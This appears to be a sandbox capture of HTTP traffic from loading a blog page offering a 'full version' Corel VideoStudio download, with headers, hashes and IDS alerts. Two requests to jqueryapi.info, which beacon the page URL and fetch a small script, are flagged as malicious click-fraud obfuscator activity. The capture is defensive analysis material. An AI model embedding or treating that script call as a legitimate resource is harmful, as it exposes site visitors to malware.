Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
If-Modified-Since: Mon, 05 Mar 2018 17:09:56 GMT
If-None-Match: "5a9d79e4-9d"

                                         
                                         104.200.22.130
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty/1.13.6.1
Date: Thu, 11 Oct 2018 12:32:13 GMT
Content-Length: 157
Last-Modified: Fri, 09 Mar 2018 21:41:07 GMT
Connection: close
Etag: "5aa2ff73-9d"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  ASCII text
Size:   157
Md5:    67e216a27dda24bdcb086c2385b0cb99
Sha1:   17141c80f5d32bec3691c5ab24741d8b7dd5f0c6
Sha256: 9dc433b2142d3ba0803fcffa53f19d34da26996d20c829df6d694bc887325dd7

Alerts:
  IDS:
    - ETPRO TROJAN Malicious Obfuscator Clickfraud Activity
                                        
                                            GET /-yzUKYBIS5uk/AAAAAAAAAAI/AAAAAAAAHBI/QSkq8Rzu7CY/s55-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2eaa"
Expires: Thu, 11 Oct 2018 03:21:36 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2029
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2029
Md5:    ecc7e0c4c856b8069d675ba10d2f5f72
Sha1:   6d8f0cbcb38a1b28017f5b218b15352c4703bbfd
Sha256: a6b8b646f486df68ce83a98c8dedb071ed804db62410be6fdc8035017f9a2eec
                                        
                                            GET /-8ifB_yKr2RU/Tt7DZRFYGxI/AAAAAAAAACQ/Yo27tPinTt8/s55-c/GANZ.jpg HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v24"
Expires: Fri, 12 Oct 2018 12:32:14 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="GANZ.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 1202
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1202
Md5:    59b23299629361b84815a9cfd99fb070
Sha1:   a0b789162ecd37b8a1b0f3c70059cf65d2435d0b
Sha256: a1226d36c709ff9d60bc85060675a285c9ba663beee2e863ad70b3aa897942d6
                                        
                                            GET /-d58ioMc9qIw/AAAAAAAAAAI/AAAAAAAAAD8/cbgPidfKIxs/s55-c/photo.jpg HTTP/1.1 
Host: lh3.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v3f"
Expires: Thu, 11 Oct 2018 21:38:08 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 3353
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3353
Md5:    95c8a218ec3cdbf300e2cc9417d8c733
Sha1:   6599daec5a3d2f6260f612f20015553da1bb0326
Sha256: 28808f25462546681960e6e9c84f12c8a366a1aae0da14e8209703907e3435df
                                        
                                            GET /-o1GSRl3tXdQ/AAAAAAAAAAI/AAAAAAAAABA/iULrUI-RAdg/s55-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v10"
Expires: Thu, 11 Oct 2018 21:38:08 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2851
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2851
Md5:    d61f70047a317c8826ec3c084684d74f
Sha1:   c6bd3b91c675372f8493369f25021960697bbcb5
Sha256: a30b4e672d490914277ec0767e4a30a983e8a252d860f91e3afa3d618fdd333d
                                        
                                            GET /-aBYiotV39ZI/T7PzCbj7CzI/AAAAAAAAABM/R1FlUd2V-ZA/s55-c/Band-Senja-%2525252853n74%25252529.JPG HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v13"
Expires: Fri, 12 Oct 2018 12:32:14 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="Band-Senja-%252853n74%2529.JPG"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 3688
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3688
Md5:    cb63ed69818464fb23db3a8c27cb6e69
Sha1:   92abf6a12671b14c7bfec412f8522e4774ba1b1c
Sha256: 7031247b6676fa91e9203bd3c9b2618697ccce4d1ed452357c3e3ca929146ba0
                                        
                                            GET /-pzS4u4aDctg/AAAAAAAAAAI/AAAAAAAAABQ/dUx2mE1xwhk/s55-c/photo.jpg HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v14"
Expires: Thu, 11 Oct 2018 21:38:09 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2124
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2124
Md5:    10bf5d75c58693dc914a77799092d404
Sha1:   b09d34d51416fffa5032f4172f0d6d49e5c7a1b3
Sha256: 156e24fbf17cebf15b6e6a745823d7a27cb51fb72445b98a955b844d0040a92f
                                        
                                            GET /-o2lN9Ly3HA0/AAAAAAAAAAI/AAAAAAAAABI/4mxKR47VsHo/s55-c/photo.jpg HTTP/1.1 
Host: lh6.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1a4"
Expires: Thu, 11 Oct 2018 21:38:08 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2426
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2426
Md5:    bf354c6c7ec708f5664ef58b17494beb
Sha1:   d13467b1f27fb5b197f359d3de53a81127f65fbf
Sha256: e8ca1c4d47f7d4079b924ecdacd6d4d3903c1c1bdcd841f2f69554fd6b7a8e37
                                        
                                            GET /-PTNIs2ZpV2A/AAAAAAAAAAI/AAAAAAAAABo/8jzOgiGGmOA/s55-c/photo.jpg HTTP/1.1 
Host: lh6.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v893"
Expires: Thu, 11 Oct 2018 21:38:09 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2607
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2607
Md5:    1d0cc93885846b13be7f20dd2a4f6059
Sha1:   22136bf666db91708fbad4c83c18579fcbd06a27
Sha256: a5dfa4361289e29de4d8187118277d8f6f2ccad0e55bbe2e385a73b19c488cf1
                                        
                                            GET /-zbhAqSWE8rs/AAAAAAAAAAI/AAAAAAAAABk/aorrWJmUfVQ/s55-c/photo.jpg HTTP/1.1 
Host: lh6.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v76"
Expires: Thu, 11 Oct 2018 21:38:09 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 3146
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3146
Md5:    587b6de46689a66b3bc1e43d3a1a8492
Sha1:   b21a0535dae3fa6bbebff518eb3149f1f28a3587
Sha256: 08c4d9973a084d44ffdd550b69e94395de03e8fd8964bb0ed21c3b577bd91c7f
                                        
                                            GET /-4bybIp0-Xpg/AAAAAAAAAAI/AAAAAAAAAA0/H1zqOXVMkAY/s55-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vfd"
Expires: Thu, 11 Oct 2018 21:38:09 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2387
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2387
Md5:    f5cbf6fd605173cc45d14d0784d326e9
Sha1:   49ed31e873a9cfa3d45d516cf4a170df870d6dd0
Sha256: 94358bedbe103ce2f4a2eb92d6f8daa8dc994cb59d14b4c29b8bf03609a4dc2e
                                        
                                            GET /-JnZgeNqM3QI/AAAAAAAAAAI/AAAAAAAAADI/hoSV4A58YzM/s55-c/photo.jpg HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v32"
Expires: Thu, 11 Oct 2018 21:38:09 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 2619
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2619
Md5:    833892e835114a09d5301de30a9c6eae
Sha1:   7e69152538f1ceafa6d0834c6a41597e72e8990a
Sha256: dfcbb926f0a73996157db96d57048fbe1e87ff9f82638b8667c13a5fa8044ae8
                                        
                                            GET /-9ROsycLaE88/AAAAAAAAAAI/AAAAAAAAABE/l3LiDvAXhm0/s55-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v11"
Expires: Thu, 11 Oct 2018 21:38:09 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:14 GMT
Server: fife
Content-Length: 3232
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3232
Md5:    b1ab50380aef65b55b3bb42add41221b
Sha1:   a369fcfcaa1761702a88494674fa6128bbf57f54
Sha256: 333cd3e5b66394f74804b40f4728fb60a318f1e1cf0d6b830bb4f3d21ee50c7a
                                        
                                            GET /plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         31.13.72.36
HTTP/1.1 302 Found
Content-Type: text/html; charset="utf-8"
                                        
Location: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841
X-FB-Debug: IpPfmfUNuzGcQE53D2WwSpNnO61Wh2n0xjKukVif7nkScbb4eGgEw0iiH6srnwED9RuJ6kIfIV+l/VLk3p8beQ==
Date: Thu, 11 Oct 2018 12:32:14 GMT
Connection: keep-alive
Content-Length: 0


--- Additional Info ---
                                        
                                            GET /s/opensans/v15/mem5YaGs126MiZpBA-UN_r8OUuhv.woff HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fonts.googleapis.com/css?family=Open+Sans:300italic,600italic,300,600
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.21.163
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 18280
Date: Thu, 20 Sep 2018 11:24:29 GMT
Expires: Fri, 20 Sep 2019 11:24:29 GMT
Last-Modified: Wed, 11 Oct 2017 21:49:35 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1818466


--- Additional Info ---
Magic:  data
Size:   18280
Md5:    521d17bc9f3526c690e8ada6eee55bec
Sha1:   0c74bab4a4ebdafe080c8a35bd61d38f1b692358
Sha256: 624b3c987e1731e2871567be1451a257be8ebcaa2abebaa45651d3d95fa99492
                                        
                                            GET /s9.g?login=abduhku&jv=y&j=y&srw=1176&srb=24&l= HTTP/1.1 
Host: e0.extreme-dm.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         18.208.5.78
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Thu, 11 Oct 2018 12:32:15 GMT
Content-Length: 43
Connection: keep-alive
Cache-Control: no-store,must-revalidate


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    ad4b0f606e0f8465bc4c4c170b37e1a3
Sha1:   50b30fd5f87c85fe5cba2635cb83316ca71250d7
Sha256: cf4724b2f736ed1a0ae6bc28f1ead963d9cd2c1fd87b6ef32e7799fc1c5c8bda
                                        
                                            GET /-1Vm01O-ZZKU/VRrOBD353CI/AAAAAAAADz4/ezrQxpUMkTM/s1600/footbg.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vf3f"
Expires: Sat, 06 Oct 2018 08:42:08 GMT
Content-Disposition: inline;filename="footbg.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:15 GMT
Server: fife
Content-Length: 60332
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  PNG image, 500 x 365, 8-bit gray+alpha, non-interlaced
Size:   60332
Md5:    875915b8b8944472394cc63c898ee25a
Sha1:   3a7056ee6380fe02cb2eba7fa3eb746fd7792dd9
Sha256: adfed920c5642a3d2060d20495f74cb8283be93f45db4296c4a386604806e590
                                        
                                            GET /js/bg/uGc53GSTLbk8JiyQabQhaW6fsaIIka9G8CyB1oQ4TS0.js HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Cookie: NID=141=NkZ0LuPQq_p_jLMzN-4VnzAuKuHsg37MN9aYRH1aaLcYu32nJoIXcYPaX66Qv90n8YDvMCWmfbzsucSdJOjLcPCViAQQC6IPab_kfGJO-VeE9k6-8iHd7fIHiXLVBF7p

                                         
                                         172.217.21.164
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 5061
Date: Thu, 04 Oct 2018 16:25:53 GMT
Expires: Fri, 04 Oct 2019 16:25:53 GMT
Last-Modified: Mon, 24 Sep 2018 11:00:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 590782
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   5061
Md5:    5ee68c01bf1303504ec68ac42769a238
Sha1:   577fe2d2d213e948200368a0a2d853ac8634d88d
Sha256: 66b8bc4c010348bfd0b26354eca3d69e819fa691d900fba93aff9ce2a70550da
                                        
                                            GET /s/opensans/v15/mem5YaGs126MiZpBA-UNirkOUuhv.woff HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fonts.googleapis.com/css?family=Open+Sans:300italic,600italic,300,600
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.21.163
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 18296
Date: Thu, 27 Sep 2018 18:31:24 GMT
Expires: Fri, 27 Sep 2019 18:31:24 GMT
Last-Modified: Wed, 11 Oct 2017 21:49:52 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1188051


--- Additional Info ---
Magic:  data
Size:   18296
Md5:    1cd5320f8937d337b61d5117cf9d7b28
Sha1:   24798ef7ac55ba93aaa033fefdb7ca4d57da44ad
Sha256: e19b28ad1aafcb23735d02cbec4e2697ebbf7d608cf47fb8f8565def01b28c2a
                                        
                                            GET /?getsrc=ok&ref=&url=http%3A%2F%2Fabduhshare.blogspot.com%2F2014%2F04%2Fcorel-video-studio-pro-x7-full-version.html HTTP/1.1 
Host: jqueryapi.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
If-Modified-Since: Fri, 09 Mar 2018 21:41:07 GMT
If-None-Match: "5aa2ff73-9d"

                                         
                                         104.200.22.130
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty/1.13.6.1
Date: Thu, 11 Oct 2018 12:32:15 GMT
Content-Length: 157
Last-Modified: Wed, 07 Mar 2018 18:30:37 GMT
Connection: close
Etag: "5aa02fcd-9d"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  ASCII text
Size:   157
Md5:    67e216a27dda24bdcb086c2385b0cb99
Sha1:   17141c80f5d32bec3691c5ab24741d8b7dd5f0c6
Sha256: 9dc433b2142d3ba0803fcffa53f19d34da26996d20c829df6d694bc887325dd7

Alerts:
  IDS:
    - ETPRO TROJAN Malicious Obfuscator Clickfraud Activity
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=151285
Date: Thu, 11 Oct 2018 12:32:16 GMT
Etag: "5bbebcc4-1d7"
Expires: Sat, 13 Oct 2018 06:33:41 GMT
Last-Modified: Thu, 11 Oct 2018 03:00:20 GMT
Server: ECS (ska/F70E)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
